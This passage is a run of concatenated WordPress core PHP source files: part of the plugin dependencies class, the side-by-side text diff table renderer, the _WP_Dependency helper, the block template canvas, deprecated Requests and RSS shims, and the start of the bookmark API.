			// Match to WordPress.org slug format.
			if ( preg_match( '/^[a-z0-9]+(-[a-z0-9]+)*$/mu', $slug ) ) {
				$sanitized_slugs[] = $slug;
			}
		}
		$sanitized_slugs = array_unique( $sanitized_slugs );
		sort( $sanitized_slugs );

		return $sanitized_slugs;
	}

	/**
	 * Gets the filepath of installed dependencies.
	 * If a dependency is not installed, the filepath defaults to false.
	 *
	 * @since 6.5.0
	 *
	 * @return array An array of install dependencies filepaths, relative to the plugins directory.
	 */
	protected static function get_dependency_filepaths() {
		if ( is_array( self::$dependency_filepaths ) ) {
			return self::$dependency_filepaths;
		}

		if ( null === self::$dependency_slugs ) {
			return array();
		}

		self::$dependency_filepaths = array();

		$plugin_dirnames = self::get_plugin_dirnames();
		foreach ( self::$dependency_slugs as $slug ) {
			if ( isset( $plugin_dirnames[ $slug ] ) ) {
				self::$dependency_filepaths[ $slug ] = $plugin_dirnames[ $slug ];
				continue;
			}

			self::$dependency_filepaths[ $slug ] = false;
		}

		return self::$dependency_filepaths;
	}

	/**
	 * Retrieves and stores dependency plugin data from the WordPress.org Plugin API.
	 *
	 * @since 6.5.0
	 *
	 * @global string $pagenow The filename of the current screen.
	 *
	 * @return array|void An array of dependency API data, or void on early exit.
	 */
	protected static function get_dependency_api_data() {
		global $pagenow;

		if ( ! is_admin() || ( 'plugins.php' !== $pagenow && 'plugin-install.php' !== $pagenow ) ) {
			return;
		}

		if ( is_array( self::$dependency_api_data ) ) {
			return self::$dependency_api_data;
		}

		$plugins                   = self::get_plugins();
		self::$dependency_api_data = (array) get_site_transient( 'wp_plugin_dependencies_plugin_data' );
		foreach ( self::$dependency_slugs as $slug ) {
			// Set transient for individual data, remove from self::$dependency_api_data if transient expired.
			if ( ! get_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}" ) ) {
				unset( self::$dependency_api_data[ $slug ] );
				set_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}", true, 12 * HOUR_IN_SECONDS );
			}

			if ( isset( self::$dependency_api_data[ $slug ] ) ) {
				if ( false === self::$dependency_api_data[ $slug ] ) {
					$dependency_file = self::get_dependency_filepath( $slug );

					if ( false === $dependency_file ) {
						self::$dependency_api_data[ $slug ] = array( 'Name' => $slug );
					} else {
						self::$dependency_api_data[ $slug ] = array( 'Name' => $plugins[ $dependency_file ]['Name'] );
					}
					continue;
				}

				// Don't hit the Plugin API if data exists.
				if ( ! empty( self::$dependency_api_data[ $slug ]['last_updated'] ) ) {
					continue;
				}
			}

			if ( ! function_exists( 'plugins_api' ) ) {
				require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
			}

			$information = plugins_api(
				'plugin_information',
				array(
					'slug'   => $slug,
					'fields' => array(
						'short_description' => true,
						'icons'             => true,
					),
				)
			);

			if ( is_wp_error( $information ) ) {
				continue;
			}

			self::$dependency_api_data[ $slug ] = (array) $information;
			// plugins_api() returns 'name' not 'Name'.
			self::$dependency_api_data[ $slug ]['Name'] = self::$dependency_api_data[ $slug ]['name'];
			set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 );
		}

		// Remove from self::$dependency_api_data if slug no longer a dependency.
		$differences = array_diff( array_keys( self::$dependency_api_data ), self::$dependency_slugs );
		foreach ( $differences as $difference ) {
			unset( self::$dependency_api_data[ $difference ] );
		}

		ksort( self::$dependency_api_data );
		// Remove empty elements.
		self::$dependency_api_data = array_filter( self::$dependency_api_data );
		set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 );

		return self::$dependency_api_data;
	}

	/**
	 * Gets plugin directory names.
	 *
	 * @since 6.5.0
	 *
	 * @return array An array of plugin directory names.
	 */
	protected static function get_plugin_dirnames() {
		if ( is_array( self::$plugin_dirnames ) ) {
			return self::$plugin_dirnames;
		}

		self::$plugin_dirnames = array();

		$plugin_files = array_keys( self::get_plugins() );
		foreach ( $plugin_files as $plugin_file ) {
			$slug                           = self::convert_to_slug( $plugin_file );
			self::$plugin_dirnames[ $slug ] = $plugin_file;
		}

		return self::$plugin_dirnames;
	}

	/**
	 * Gets circular dependency data.
	 *
	 * @since 6.5.0
	 *
	 * @return array[] An array of circular dependency pairings.
	 */
	protected static function get_circular_dependencies() {
		if ( is_array( self::$circular_dependencies_pairs ) ) {
			return self::$circular_dependencies_pairs;
		}

		if ( null === self::$dependencies ) {
			return array();
		}

		self::$circular_dependencies_slugs = array();

		self::$circular_dependencies_pairs = array();
		foreach ( self::$dependencies as $dependent => $dependencies ) {
			/*
			 * $dependent is in 'a/a.php' format. Dependencies are stored as slugs, i.e. 'a'.
			 *
			 * Convert $dependent to slug format for checking.
			 */
			$dependent_slug = self::convert_to_slug( $dependent );

			self::$circular_dependencies_pairs = array_merge(
				self::$circular_dependencies_pairs,
				self::check_for_circular_dependencies( array( $dependent_slug ), $dependencies )
			);
		}

		return self::$circular_dependencies_pairs;
	}

	/**
	 * Checks for circular dependencies.
	 *
	 * @since 6.5.0
	 *
	 * @param array $dependents   Array of dependent plugins.
	 * @param array $dependencies Array of plugins dependencies.
	 * @return array A circular dependency pairing, or an empty array if none exists.
	 */
	protected static function check_for_circular_dependencies( $dependents, $dependencies ) {
		$circular_dependencies_pairs = array();

		// Check for a self-dependency.
		$dependents_location_in_its_own_dependencies = array_intersect( $dependents, $dependencies );
		if ( ! empty( $dependents_location_in_its_own_dependencies ) ) {
			foreach ( $dependents_location_in_its_own_dependencies as $self_dependency ) {
				self::$circular_dependencies_slugs[] = $self_dependency;
				$circular_dependencies_pairs[]       = array( $self_dependency, $self_dependency );

				// No need to check for itself again.
				unset( $dependencies[ array_search( $self_dependency, $dependencies, true ) ] );
			}
		}

		/*
		 * Check each dependency to see:
		 * 1. If it has dependencies.
		 * 2. If its list of dependencies includes one of its own dependents.
		 */
		foreach ( $dependencies as $dependency ) {
			// Check if the dependency is also a dependent.
			$dependency_location_in_dependents = array_search( $dependency, self::$dependent_slugs, true );

			if ( false !== $dependency_location_in_dependents ) {
				$dependencies_of_the_dependency = self::$dependencies[ $dependency_location_in_dependents ];

				foreach ( $dependents as $dependent ) {
					// Check if its dependencies includes one of its own dependents.
					$dependent_location_in_dependency_dependencies = array_search(
						$dependent,
						$dependencies_of_the_dependency,
						true
					);

					if ( false !== $dependent_location_in_dependency_dependencies ) {
						self::$circular_dependencies_slugs[] = $dependent;
						self::$circular_dependencies_slugs[] = $dependency;
						$circular_dependencies_pairs[]       = array( $dependent, $dependency );

						// Remove the dependent from its dependency's dependencies.
						unset( $dependencies_of_the_dependency[ $dependent_location_in_dependency_dependencies ] );
					}
				}

				$dependents[] = $dependency;

				/*
				 * Now check the dependencies of the dependency's dependencies for the dependent.
				 *
				 * Yes, that does make sense.
				 */
				$circular_dependencies_pairs = array_merge(
					$circular_dependencies_pairs,
					self::check_for_circular_dependencies( $dependents, array_unique( $dependencies_of_the_dependency ) )
				);
			}
		}

		return $circular_dependencies_pairs;
	}

	/**
	 * Converts a plugin filepath to a slug.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return string The plugin's slug.
	 */
	protected static function convert_to_slug( $plugin_file ) {
		if ( 'hello.php' === $plugin_file ) {
			return 'hello-dolly';
		}
		return str_contains( $plugin_file, '/' ) ? dirname( $plugin_file ) : str_replace( '.php', '', $plugin_file );
	}
}
<?php
/**
 * Diff API: WP_Text_Diff_Renderer_Table class
 *
 * @package WordPress
 * @subpackage Diff
 * @since 4.7.0
 */

/**
 * Table renderer to display the diff lines.
 *
 * @since 2.6.0
 * @uses Text_Diff_Renderer Extends
 */
#[AllowDynamicProperties]
class WP_Text_Diff_Renderer_Table extends Text_Diff_Renderer {

	/**
	 * @see Text_Diff_Renderer::_leading_context_lines
	 * @var int
	 * @since 2.6.0
	 */
	public $_leading_context_lines = 10000;

	/**
	 * @see Text_Diff_Renderer::_trailing_context_lines
	 * @var int
	 * @since 2.6.0
	 */
	public $_trailing_context_lines = 10000;

	/**
	 * Title of the item being compared.
	 *
	 * @since 6.4.0 Declared a previously dynamic property.
	 * @var string|null
	 */
	public $_title;

	/**
	 * Title for the left column.
	 *
	 * @since 6.4.0 Declared a previously dynamic property.
	 * @var string|null
	 */
	public $_title_left;

	/**
	 * Title for the right column.
	 *
	 * @since 6.4.0 Declared a previously dynamic property.
	 * @var string|null
	 */
	public $_title_right;

	/**
	 * Threshold for when a diff should be saved or omitted.
	 *
	 * @var float
	 * @since 2.6.0
	 */
	protected $_diff_threshold = 0.6;

	/**
	 * Inline display helper object name.
	 *
	 * @var string
	 * @since 2.6.0
	 */
	protected $inline_diff_renderer = 'WP_Text_Diff_Renderer_inline';

	/**
	 * Should we show the split view or not
	 *
	 * @var string
	 * @since 3.6.0
	 */
	protected $_show_split_view = true;

	protected $compat_fields = array( '_show_split_view', 'inline_diff_renderer', '_diff_threshold' );

	/**
	 * Caches the output of count_chars() in compute_string_distance()
	 *
	 * @var array
	 * @since 5.0.0
	 */
	protected $count_cache = array();

	/**
	 * Caches the difference calculation in compute_string_distance()
	 *
	 * @var array
	 * @since 5.0.0
	 */
	protected $difference_cache = array();

	/**
	 * Constructor - Call parent constructor with params array.
	 *
	 * This will set class properties based on the key value pairs in the array.
	 *
	 * @since 2.6.0
	 *
	 * @param array $params
	 */
	public function __construct( $params = array() ) {
		parent::__construct( $params );
		if ( isset( $params['show_split_view'] ) ) {
			$this->_show_split_view = $params['show_split_view'];
		}
	}

	/**
	 * @ignore
	 *
	 * @param string $header
	 * @return string
	 */
	public function _startBlock( $header ) {
		return '';
	}

	/**
	 * @ignore
	 *
	 * @param array  $lines
	 * @param string $prefix
	 */
	public function _lines( $lines, $prefix = ' ' ) {
	}

	/**
	 * @ignore
	 *
	 * @param string $line HTML-escape the value.
	 * @return string
	 */
	public function addedLine( $line ) {
		return "<td class='diff-addedline'><span aria-hidden='true' class='dashicons dashicons-plus'></span><span class='screen-reader-text'>" .
			/* translators: Hidden accessibility text. */
			__( 'Added:' ) .
		" </span>{$line}</td>";
	}

	/**
	 * @ignore
	 *
	 * @param string $line HTML-escape the value.
	 * @return string
	 */
	public function deletedLine( $line ) {
		return "<td class='diff-deletedline'><span aria-hidden='true' class='dashicons dashicons-minus'></span><span class='screen-reader-text'>" .
			/* translators: Hidden accessibility text. */
			__( 'Deleted:' ) .
		" </span>{$line}</td>";
	}

	/**
	 * @ignore
	 *
	 * @param string $line HTML-escape the value.
	 * @return string
	 */
	public function contextLine( $line ) {
		return "<td class='diff-context'><span class='screen-reader-text'>" .
			/* translators: Hidden accessibility text. */
			__( 'Unchanged:' ) .
		" </span>{$line}</td>";
	}

	/**
	 * @ignore
	 *
	 * @return string
	 */
	public function emptyLine() {
		return '<td>&nbsp;</td>';
	}

	/**
	 * @ignore
	 *
	 * @param array $lines
	 * @param bool  $encode
	 * @return string
	 */
	public function _added( $lines, $encode = true ) {
		$r = '';
		foreach ( $lines as $line ) {
			if ( $encode ) {
				$processed_line = htmlspecialchars( $line );

				/**
				 * Contextually filters a diffed line.
				 *
				 * Filters TextDiff processing of diffed line. By default, diffs are processed with
				 * htmlspecialchars. Use this filter to remove or change the processing. Passes a context
				 * indicating if the line is added, deleted or unchanged.
				 *
				 * @since 4.1.0
				 *
				 * @param string $processed_line The processed diffed line.
				 * @param string $line           The unprocessed diffed line.
				 * @param string $context        The line context. Values are 'added', 'deleted' or 'unchanged'.
				 */
				$line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'added' );
			}

			if ( $this->_show_split_view ) {
				$r .= '<tr>' . $this->emptyLine() . $this->addedLine( $line ) . "</tr>\n";
			} else {
				$r .= '<tr>' . $this->addedLine( $line ) . "</tr>\n";
			}
		}
		return $r;
	}

	/**
	 * @ignore
	 *
	 * @param array $lines
	 * @param bool  $encode
	 * @return string
	 */
	public function _deleted( $lines, $encode = true ) {
		$r = '';
		foreach ( $lines as $line ) {
			if ( $encode ) {
				$processed_line = htmlspecialchars( $line );

				/** This filter is documented in wp-includes/wp-diff.php */
				$line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'deleted' );
			}
			if ( $this->_show_split_view ) {
				$r .= '<tr>' . $this->deletedLine( $line ) . $this->emptyLine() . "</tr>\n";
			} else {
				$r .= '<tr>' . $this->deletedLine( $line ) . "</tr>\n";
			}
		}
		return $r;
	}

	/**
	 * @ignore
	 *
	 * @param array $lines
	 * @param bool  $encode
	 * @return string
	 */
	public function _context( $lines, $encode = true ) {
		$r = '';
		foreach ( $lines as $line ) {
			if ( $encode ) {
				$processed_line = htmlspecialchars( $line );

				/** This filter is documented in wp-includes/wp-diff.php */
				$line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'unchanged' );
			}
			if ( $this->_show_split_view ) {
				$r .= '<tr>' . $this->contextLine( $line ) . $this->contextLine( $line ) . "</tr>\n";
			} else {
				$r .= '<tr>' . $this->contextLine( $line ) . "</tr>\n";
			}
		}
		return $r;
	}

	/**
	 * Process changed lines to do word-by-word diffs for extra highlighting.
	 *
	 * (TRAC style) sometimes these lines can actually be deleted or added rows.
	 * We do additional processing to figure that out
	 *
	 * @since 2.6.0
	 *
	 * @param array $orig
	 * @param array $final
	 * @return string
	 */
	public function _changed( $orig, $final ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.finalFound
		$r = '';

		/*
		 * Does the aforementioned additional processing:
		 * *_matches tell what rows are "the same" in orig and final. Those pairs will be diffed to get word changes.
		 * - match is numeric: an index in other column.
		 * - match is 'X': no match. It is a new row.
		 * *_rows are column vectors for the orig column and the final column.
		 * - row >= 0: an index of the $orig or $final array.
		 * - row < 0: a blank row for that column.
		 */
		list($orig_matches, $final_matches, $orig_rows, $final_rows) = $this->interleave_changed_lines( $orig, $final );

		// These will hold the word changes as determined by an inline diff.
		$orig_diffs  = array();
		$final_diffs = array();

		// Compute word diffs for each matched pair using the inline diff.
		foreach ( $orig_matches as $o => $f ) {
			if ( is_numeric( $o ) && is_numeric( $f ) ) {
				$text_diff = new Text_Diff( 'auto', array( array( $orig[ $o ] ), array( $final[ $f ] ) ) );
				$renderer  = new $this->inline_diff_renderer();
				$diff      = $renderer->render( $text_diff );

				// If they're too different, don't include any <ins> or <del>'s.
				if ( preg_match_all( '!(<ins>.*?</ins>|<del>.*?</del>)!', $diff, $diff_matches ) ) {
					// Length of all text between <ins> or <del>.
					$stripped_matches = strlen( strip_tags( implode( ' ', $diff_matches[0] ) ) );
					/*
					 * Since we count length of text between <ins> or <del> (instead of picking just one),
					 * we double the length of chars not in those tags.
					 */
					$stripped_diff = strlen( strip_tags( $diff ) ) * 2 - $stripped_matches;
					$diff_ratio    = $stripped_matches / $stripped_diff;
					if ( $diff_ratio > $this->_diff_threshold ) {
						continue; // Too different. Don't save diffs.
					}
				}

				// Un-inline the diffs by removing <del> or <ins>.
				$orig_diffs[ $o ]  = preg_replace( '|<ins>.*?</ins>|', '', $diff );
				$final_diffs[ $f ] = preg_replace( '|<del>.*?</del>|', '', $diff );
			}
		}

		foreach ( array_keys( $orig_rows ) as $row ) {
			// Both columns have blanks. Ignore them.
			if ( $orig_rows[ $row ] < 0 && $final_rows[ $row ] < 0 ) {
				continue;
			}

			// If we have a word based diff, use it. Otherwise, use the normal line.
			if ( isset( $orig_diffs[ $orig_rows[ $row ] ] ) ) {
				$orig_line = $orig_diffs[ $orig_rows[ $row ] ];
			} elseif ( isset( $orig[ $orig_rows[ $row ] ] ) ) {
				$orig_line = htmlspecialchars( $orig[ $orig_rows[ $row ] ] );
			} else {
				$orig_line = '';
			}

			if ( isset( $final_diffs[ $final_rows[ $row ] ] ) ) {
				$final_line = $final_diffs[ $final_rows[ $row ] ];
			} elseif ( isset( $final[ $final_rows[ $row ] ] ) ) {
				$final_line = htmlspecialchars( $final[ $final_rows[ $row ] ] );
			} else {
				$final_line = '';
			}

			if ( $orig_rows[ $row ] < 0 ) { // Orig is blank. This is really an added row.
				$r .= $this->_added( array( $final_line ), false );
			} elseif ( $final_rows[ $row ] < 0 ) { // Final is blank. This is really a deleted row.
				$r .= $this->_deleted( array( $orig_line ), false );
			} else { // A true changed row.
				if ( $this->_show_split_view ) {
					$r .= '<tr>' . $this->deletedLine( $orig_line ) . $this->addedLine( $final_line ) . "</tr>\n";
				} else {
					$r .= '<tr>' . $this->deletedLine( $orig_line ) . '</tr><tr>' . $this->addedLine( $final_line ) . "</tr>\n";
				}
			}
		}

		return $r;
	}

	/**
	 * Takes changed blocks and matches which rows in orig turned into which rows in final.
	 *
	 * @since 2.6.0
	 *
	 * @param array $orig  Lines of the original version of the text.
	 * @param array $final Lines of the final version of the text.
	 * @return array {
	 *     Array containing results of comparing the original text to the final text.
	 *
	 *     @type array $orig_matches  Associative array of original matches. Index == row
	 *                                number of `$orig`, value == corresponding row number
	 *                                of that same line in `$final` or 'x' if there is no
	 *                                corresponding row (indicating it is a deleted line).
	 *     @type array $final_matches Associative array of final matches. Index == row
	 *                                number of `$final`, value == corresponding row number
	 *                                of that same line in `$orig` or 'x' if there is no
	 *                                corresponding row (indicating it is a new line).
	 *     @type array $orig_rows     Associative array of interleaved rows of `$orig` with
	 *                                blanks to keep matches aligned with side-by-side diff
	 *                                of `$final`. A value >= 0 corresponds to index of `$orig`.
	 *                                Value < 0 indicates a blank row.
	 *     @type array $final_rows    Associative array of interleaved rows of `$final` with
	 *                                blanks to keep matches aligned with side-by-side diff
	 *                                of `$orig`. A value >= 0 corresponds to index of `$final`.
	 *                                Value < 0 indicates a blank row.
	 * }
	 */
	public function interleave_changed_lines( $orig, $final ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.finalFound

		// Contains all pairwise string comparisons. Keys are such that this need only be a one dimensional array.
		$matches = array();
		foreach ( array_keys( $orig ) as $o ) {
			foreach ( array_keys( $final ) as $f ) {
				$matches[ "$o,$f" ] = $this->compute_string_distance( $orig[ $o ], $final[ $f ] );
			}
		}
		asort( $matches ); // Order by string distance.

		$orig_matches  = array();
		$final_matches = array();

		foreach ( $matches as $keys => $difference ) {
			list($o, $f) = explode( ',', $keys );
			$o           = (int) $o;
			$f           = (int) $f;

			// Already have better matches for these guys.
			if ( isset( $orig_matches[ $o ] ) && isset( $final_matches[ $f ] ) ) {
				continue;
			}

			// First match for these guys. Must be best match.
			if ( ! isset( $orig_matches[ $o ] ) && ! isset( $final_matches[ $f ] ) ) {
				$orig_matches[ $o ]  = $f;
				$final_matches[ $f ] = $o;
				continue;
			}

			// Best match of this final is already taken? Must mean this final is a new row.
			if ( isset( $orig_matches[ $o ] ) ) {
				$final_matches[ $f ] = 'x';
			} elseif ( isset( $final_matches[ $f ] ) ) {
				// Best match of this orig is already taken? Must mean this orig is a deleted row.
				$orig_matches[ $o ] = 'x';
			}
		}

		// We read the text in this order.
		ksort( $orig_matches );
		ksort( $final_matches );

		// Stores rows and blanks for each column.
		$orig_rows      = array_keys( $orig_matches );
		$orig_rows_copy = $orig_rows;
		$final_rows     = array_keys( $final_matches );

		/*
		 * Interleaves rows with blanks to keep matches aligned.
		 * We may end up with some extraneous blank rows, but we'll just ignore them later.
		 */
		foreach ( $orig_rows_copy as $orig_row ) {
			$final_pos = array_search( $orig_matches[ $orig_row ], $final_rows, true );
			$orig_pos  = (int) array_search( $orig_row, $orig_rows, true );

			if ( false === $final_pos ) { // This orig is paired with a blank final.
				array_splice( $final_rows, $orig_pos, 0, -1 );
			} elseif ( $final_pos < $orig_pos ) { // This orig's match is up a ways. Pad final with blank rows.
				$diff_array = range( -1, $final_pos - $orig_pos );
				array_splice( $final_rows, $orig_pos, 0, $diff_array );
			} elseif ( $final_pos > $orig_pos ) { // This orig's match is down a ways. Pad orig with blank rows.
				$diff_array = range( -1, $orig_pos - $final_pos );
				array_splice( $orig_rows, $orig_pos, 0, $diff_array );
			}
		}

		// Pad the ends with blank rows if the columns aren't the same length.
		$diff_count = count( $orig_rows ) - count( $final_rows );
		if ( $diff_count < 0 ) {
			while ( $diff_count < 0 ) {
				array_push( $orig_rows, $diff_count++ );
			}
		} elseif ( $diff_count > 0 ) {
			$diff_count = -1 * $diff_count;
			while ( $diff_count < 0 ) {
				array_push( $final_rows, $diff_count++ );
			}
		}

		return array( $orig_matches, $final_matches, $orig_rows, $final_rows );
	}

	/**
	 * Computes a number that is intended to reflect the "distance" between two strings.
	 *
	 * @since 2.6.0
	 *
	 * @param string $string1
	 * @param string $string2
	 * @return int
	 */
	public function compute_string_distance( $string1, $string2 ) {
		// Use an md5 hash of the strings for a count cache, as it's fast to generate, and collisions aren't a concern.
		$count_key1 = md5( $string1 );
		$count_key2 = md5( $string2 );

		// Cache vectors containing character frequency for all chars in each string.
		if ( ! isset( $this->count_cache[ $count_key1 ] ) ) {
			$this->count_cache[ $count_key1 ] = count_chars( $string1 );
		}
		if ( ! isset( $this->count_cache[ $count_key2 ] ) ) {
			$this->count_cache[ $count_key2 ] = count_chars( $string2 );
		}

		$chars1 = $this->count_cache[ $count_key1 ];
		$chars2 = $this->count_cache[ $count_key2 ];

		$difference_key = md5( implode( ',', $chars1 ) . ':' . implode( ',', $chars2 ) );
		if ( ! isset( $this->difference_cache[ $difference_key ] ) ) {
			// L1-norm of difference vector.
			$this->difference_cache[ $difference_key ] = array_sum( array_map( array( $this, 'difference' ), $chars1, $chars2 ) );
		}

		$difference = $this->difference_cache[ $difference_key ];

		// $string1 has zero length? Odd. Give huge penalty by not dividing.
		if ( ! $string1 ) {
			return $difference;
		}

		// Return distance per character (of string1).
		return $difference / strlen( $string1 );
	}

	/**
	 * @ignore
	 * @since 2.6.0
	 *
	 * @param int $a
	 * @param int $b
	 * @return int
	 */
	public function difference( $a, $b ) {
		return abs( $a - $b );
	}

	/**
	 * Make private properties readable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Getting a dynamic property is deprecated.
	 *
	 * @param string $name Property to get.
	 * @return mixed A declared property's value, else null.
	 */
	public function __get( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return $this->$name;
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Getting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
		return null;
	}

	/**
	 * Make private properties settable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Setting a dynamic property is deprecated.
	 *
	 * @param string $name  Property to check if set.
	 * @param mixed  $value Property value.
	 */
	public function __set( $name, $value ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			$this->$name = $value;
			return;
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Setting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
	}

	/**
	 * Make private properties checkable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Checking a dynamic property is deprecated.
	 *
	 * @param string $name Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return isset( $this->$name );
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Checking `isset()` on a dynamic property " .
			'is deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
		return false;
	}

	/**
	 * Make private properties un-settable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Unsetting a dynamic property is deprecated.
	 *
	 * @param string $name Property to unset.
	 */
	public function __unset( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			unset( $this->$name );
			return;
		}

		wp_trigger_error(
			__METHOD__,
			"A property `{$name}` is not declared. Unsetting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
	}
}
<?php
/**
 * Dependencies API: _WP_Dependency class
 *
 * @since 4.7.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Class _WP_Dependency
 *
 * Helper class to register a handle and associated data.
 *
 * @access private
 * @since 2.6.0
 */
#[AllowDynamicProperties]
class _WP_Dependency {
	/**
	 * The handle name.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $handle;

	/**
	 * The handle source.
	 *
	 * If source is set to false, the item is an alias of other items it depends on.
	 *
	 * @since 2.6.0
	 * @var string|false
	 */
	public $src;

	/**
	 * An array of handle dependencies.
	 *
	 * @since 2.6.0
	 * @var string[]
	 */
	public $deps = array();

	/**
	 * The handle version.
	 *
	 * Used for cache-busting.
	 *
	 * @since 2.6.0
	 * @var bool|string
	 */
	public $ver = false;

	/**
	 * Additional arguments for the handle.
	 *
	 * @since 2.6.0
	 * @var array
	 */
	public $args = null;  // Custom property, such as $in_footer or $media.

	/**
	 * Extra data to supply to the handle.
	 *
	 * @since 2.6.0
	 * @var array
	 */
	public $extra = array();

	/**
	 * Translation textdomain set for this dependency.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	public $textdomain;

	/**
	 * Translation path set for this dependency.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	public $translations_path;

	/**
	 * Setup dependencies.
	 *
	 * @since 2.6.0
	 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
	 *              to the function signature.
	 *
	 * @param mixed ...$args Dependency information.
	 */
	public function __construct( ...$args ) {
		list( $this->handle, $this->src, $this->deps, $this->ver, $this->args ) = $args;
		if ( ! is_array( $this->deps ) ) {
			$this->deps = array();
		}
	}

	/**
	 * Add handle data.
	 *
	 * @since 2.6.0
	 *
	 * @param string $name The data key to add.
	 * @param mixed  $data The data value to add.
	 * @return bool False if not scalar, true otherwise.
	 */
	public function add_data( $name, $data ) {
		if ( ! is_scalar( $name ) ) {
			return false;
		}
		$this->extra[ $name ] = $data;
		return true;
	}

	/**
	 * Sets the translation domain for this dependency.
	 *
	 * @since 5.0.0
	 *
	 * @param string $domain The translation textdomain.
	 * @param string $path   Optional. The full file path to the directory containing translation files.
	 * @return bool False if $domain is not a string, true otherwise.
	 */
	public function set_translations( $domain, $path = '' ) {
		if ( ! is_string( $domain ) ) {
			return false;
		}
		$this->textdomain        = $domain;
		$this->translations_path = $path;
		return true;
	}
}
<?php
/**
 * Template canvas file to render the current 'wp_template'.
 *
 * @package WordPress
 */

/*
 * Get the template HTML.
 * This needs to run before <head> so that blocks can add scripts and styles in wp_head().
 */
$template_html = get_the_block_template_html();
?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
	<meta charset="<?php bloginfo( 'charset' ); ?>" />
	<?php wp_head(); ?>
</head>

<body <?php body_class(); ?>>
<?php wp_body_open(); ?>

<?php echo $template_html; ?>

<?php wp_footer(); ?>
</body>
</html>
<?php
/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 *
 * @deprecated 6.2.0
 */

/*
 * Integrators who cannot yet upgrade to the PSR-4 class names can silence deprecations
 * by defining a `REQUESTS_SILENCE_PSR0_DEPRECATIONS` constant and setting it to `true`.
 * The constant needs to be defined before this class is required.
 */
if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS') || REQUESTS_SILENCE_PSR0_DEPRECATIONS !== true) {
	// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error
	trigger_error(
		'The PSR-0 `Requests_...` class names in the Requests library are deprecated.'
		. ' Switch to the PSR-4 `WpOrg\Requests\...` class names at your earliest convenience.',
		E_USER_DEPRECATED
	);

	// Prevent the deprecation notice from being thrown twice.
	if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS')) {
		define('REQUESTS_SILENCE_PSR0_DEPRECATIONS', true);
	}
}

require_once __DIR__ . '/Requests/src/Requests.php';

/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 *
 * @deprecated 6.2.0 Use `WpOrg\Requests\Requests` instead for the actual functionality and
 *                   use `WpOrg\Requests\Autoload` for the autoloading.
 */
class Requests extends WpOrg\Requests\Requests {

	/**
	 * Deprecated autoloader for Requests.
	 *
	 * @deprecated 6.2.0 Use the `WpOrg\Requests\Autoload::load()` method instead.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param string $class Class name to load
	 */
	public static function autoloader($class) {
		if (class_exists('WpOrg\Requests\Autoload') === false) {
			require_once __DIR__ . '/Requests/src/Autoload.php';
		}

		return WpOrg\Requests\Autoload::load($class);
	}

	/**
	 * Register the built-in autoloader
	 *
	 * @deprecated 6.2.0 Include the `WpOrg\Requests\Autoload` class and
	 *                   call `WpOrg\Requests\Autoload::register()` instead.
	 *
	 * @codeCoverageIgnore
	 */
	public static function register_autoloader() {
		require_once __DIR__ . '/Requests/src/Autoload.php';
		WpOrg\Requests\Autoload::register();
	}
}
<?php
/**
 * Deprecated. Use rss.php instead.
 *
 * @package WordPress
 * @deprecated 2.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit();
}

_deprecated_file( basename( __FILE__ ), '2.1.0', WPINC . '/rss.php' );
require_once ABSPATH . WPINC . '/rss.php';
<?php
/**
 * Link/Bookmark API
 *
 * @package WordPress
 * @subpackage Bookmark
 */

/**
 * Retrieves bookmark data.
 *
 * @since 2.1.0
 *
 * @global object $link Current link object.
 * @global wpdb   $wpdb WordPress database abstraction object.
 *
 * @param int|stdClass $bookmark
 * @param string       $output   Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                               correspond to an stdClass object, an associative array, or a numeric array,
 *                               respectively. Default OBJECT.
 * @param string       $filter   Optional. How to sanitize bookmark fields. Default 'raw'.
 * @return array|object|null Type returned depends on $output value.
 */
function get_bookmark( $bookmark, $output = OBJECT, $filter = 'raw' ) {
